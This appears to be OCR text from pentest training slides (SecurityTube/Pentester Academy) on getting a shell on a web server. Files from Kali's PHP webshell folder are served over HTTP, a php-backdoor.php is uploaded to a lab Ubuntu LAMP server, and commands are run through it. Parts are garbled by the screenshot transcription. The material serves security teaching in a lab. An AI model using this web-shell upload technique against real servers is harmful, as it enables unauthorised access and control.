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Web to Shell on the Server
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Web to Shell

* Upload backdoor on the server

e Execute commands on server

e Web to Shell

— Command Injection

— File Upload
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Ubuntu Server Setup (12.04 LTS)

Ubuntu Server Web App Pentest [Running]

| [!] Software selection |
At the moment, only the core of the system is installed. To tune the system to your
needs, you can choose to install one or more of the following predefined collections of
software.

Choose software to install:

Virtual
Manual p

<Cont inue>

<Tabh> moves; <Space> selects; <Enter> activates buttons
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Open SSH + LAMP

Ubuntu Server Web App Pentest [Running]

[!] Software selection |
At the moment, only the core of the system is installed. To tune the system to your
needs, you can choose to install one or more of the following predefined collections of
software.

Choose software to install:

— 0D IODEZIrr OO0

<Continue>

<Tab> moves; <Space> selects; <Enter> activates buttons
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Upload

: /usr/share/webshells/php#

:/usr/share/webshells/php# 1s
findsock.c php-findsock-shell.php qsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php

: /usr/share/webshells/php#

: /usr/share/webshells/php#

: /usr/share/webshells/php#

:/usr/share/webshells/php# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

192.168.1.5 - - [04/Nov/2013 11:32:32] "GET /php-backdoor.php HTTP/1.1" 200 -

\{:fhtth/192.168““p-backdoonphp\]ﬁﬁl
€@ = [@19216815

51 Most Visited~ [l Offensive Security " Kali Linux “e Kali Docs ﬂExploit-DB W Aircrack-ng

File in path are:

total 85K

drwxr-xr-x 23 root root 4.0K Nov

4 3
drwxr-xr-x 23 root root 4.0K Nov 3 11:44 ..
drwxr-xr-x 2 root root 4.0K Nov 3 11:49 bin
drwxr-xr-x 4 root root 1.0K Nov 3 11:53 boot
drwxr-xr-x 15 root root 4.1K Nov 4 21:49 dev
drwxr-xr-x 90 root root 4.0K Nov 4 21:49 etc
drwxr-xr-x 3 root root 4.0K Nov 3 12:01 home
Trwxrwxrwx 1 root root 33 Nov 3 11:44 initrd.img -> /boot/initrd.img-3.2.0-23-generic
drwxr-xr-x 18 root root 4.0K Nov 3 11:49 1lib
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Execute

_ I http://192.168....p-backdoor.php ] L) |
@ ®» (@ 192168.1.5/php-backdoor.php

5] Most Visited v i Jl offensive Security % Kali Linux “ Kali Docs ﬂExploit-DB W Aircrack-ng

execute command: hs }[ go ’

upload file:{ Brovvse“.j No file selected. to dir: I } { upload j

to browse go to http://?d=[directory here]

for example:
http://?d=/etc on *nix
or http://?d=c: /windows on win

execute mysql query:

hostJlocalhost ‘ user:‘root ‘ password:‘

database: ‘ ‘ query:‘ ‘ { execute J

©SecurityTube.net



| i http://192.168....ckdoor php?d=/ | 4 |

€ [ @ 192.168.1.5/php-backdoor.php?d=/

Most Visitedv [l Offensive Security
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{+found

initrd.img
etc
opt

% Kali Linux " Kali Docs KBE>

©SecurityTube.net



Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo

TOPICS PRICING WHY SUBSCRIBE MEMBER ACCESS

Pentester Academy Introduction

3 Revolutionizing Infosec Training

> Highly Technical, Hands-on, Affordable

Start Learning Today!
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Different Processors — Different Assembly
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Challenge 7: Cracking Digest Challenge 7: Cracking Digest Module 1: GDB Test Solution Module 1: CPU Information
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